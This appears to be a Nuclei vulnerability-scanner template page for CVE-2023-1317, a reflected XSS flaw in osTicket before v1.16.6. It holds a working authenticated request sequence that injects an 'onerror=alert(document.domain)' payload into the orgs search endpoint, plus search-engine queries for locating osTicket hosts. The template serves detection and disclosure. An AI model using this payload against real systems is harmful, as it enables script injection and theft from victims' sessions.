osTicket < v1.16.6 - Cross-Site Scripting

ID: CVE-2023-1317

Severity: medium

Author: ritikchaddha

Tags: cve,cve2023,osticket,xss,authenticated

Description

Cross-site Scripting (XSS) - Reflected in GitHub repository osticket/osticket prior to v1.16.6.

YAML Source

id: CVE-2023-1317

info:
  name: osTicket < v1.16.6 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Cross-site Scripting (XSS) - Reflected in GitHub repository osticket/osticket prior to v1.16.6.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade osTicket to later version to mitigate this vulnerability.
  reference:
    - https://huntr.com/bounties/c3e27af2-358b-490b-9baf-e451663e4e5f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1317
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-1317
    cwe-id: CWE-79
    epss-score: 0.00058
    epss-percentile: 0.25661
    cpe: cpe:2.3:a:osticket:osticket:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: osticket
    product: osticket
    shodan-query: title:"osTicket"
    fofa-query: title="osticket"
    google-query: intitle:"osticket"
  tags: cve,cve2023,osticket,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /scp/login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "osticket")'
        internal: true

    extractors:
      - type: regex
        name: csrftoken
        part: body
        group: 1
        regex:
          - '__CSRFToken__" value="(.*?)"'
        internal: true

  - raw:
      - |
        POST /scp/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __CSRFToken__={{csrftoken}}&do=scplogin&userid={{username}}&passwd={{password}}&ajax=1

      - |
        GET /scp/ajax.php/orgs/search?q=osTicket%3Cimg%20src%3da%20onerror%3dalert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<img src=a onerror=alert(document.domain)>")'
          - 'contains(header, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100f50c19c38d933d5fd68ed24c34e76a838265e83e533ddf5975d241908496b8b0022051c77b91ac0fd9c7032cbe93cd59a4ce2ed66d607683460af2ed0d6943b8d4ea:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-1317.yaml"

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